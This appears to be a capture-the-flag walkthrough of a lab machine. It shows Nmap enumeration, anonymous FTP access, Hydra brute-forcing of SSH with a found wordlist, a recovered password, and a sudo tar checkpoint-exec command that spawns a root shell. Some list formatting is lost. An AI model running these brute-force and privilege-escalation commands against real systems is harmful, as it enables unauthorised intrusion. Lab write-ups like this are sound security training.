As always, the first step is enumeration. I started with an Nmap scan:
nmap -p- -A -T4 10.10.81.15
The results revealed three open ports:
From the scan results, FTP allowed anonymous login.
We can log in using:
ftp 10.10.81.15
Username: Anonymous
Password: (just press Enter)
Inside, I found two files:
locks.txt
→ A list of possible passwordstask.txt
→ Notes mentioning some usernamesI downloaded both files using the get
command for later use.
At this point, we had:
task.txt
and webpage content)locks.txt
)Perfect setup for brute-forcing SSH with Hydra:
hydra ssh://10.10.81.15 -L users.txt -P locks.txt
Success 🎉 — valid credentials lin’s password! (RedDr4gonSynd1cat3)
Using the guessing credentials, I logged in via SSH:
ssh [email protected]
User Flag : Once inside, the user flag was easily accessible.
To escalate privileges, I checked what the user could run as root:
sudo -l
It turned out the user had permission to run tar
as root.
According to GTFOBins, tar
can be exploited to gain root access. Running the following command:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Boom 💥 — a root shell!
With root privileges, I grabbed the root flag. Mission accomplished 🚩